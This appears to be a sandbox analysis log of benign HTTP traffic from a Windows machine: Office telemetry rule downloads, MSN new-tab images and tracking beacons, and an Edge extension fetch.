Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731404251590&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=34DD94F9EF376C2E059581CCEEC66D3A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=149268737e27d81518464331731404253; XID=149268737e27d81518464331731404253
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=34DD94F9EF376C2E059581CCEEC66D3A&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=295e0d8a03824980fb9008ff7422c6eb HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=34DD94F9EF376C2E059581CCEEC66D3A; _EDGE_S=F=1&SID=254ED9580F306B231043CC6D0EC46AD0; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731404251589&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a019179ec43e4776a80ea6b80a7b119a&activityId=a019179ec43e4776a80ea6b80a7b119a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=22CC02CED9344791A56F8517134BB5F7&MUID=34DD94F9EF376C2E059581CCEEC66D3A HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=34DD94F9EF376C2E059581CCEEC66D3A; _EDGE_S=F=1&SID=254ED9580F306B231043CC6D0EC46AD0; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732009044&P2=404&P3=2&P4=WRBHsYlRvErRKUMzIOjn7aOK6tkmWBlHKxDFtipCdZFclgoakfQ4f0Jn63MzQtbG5SqKmEwRhvb3GH2DEcJGUQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: oqrNLx5Nhedbp8/dX6UyJ8Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
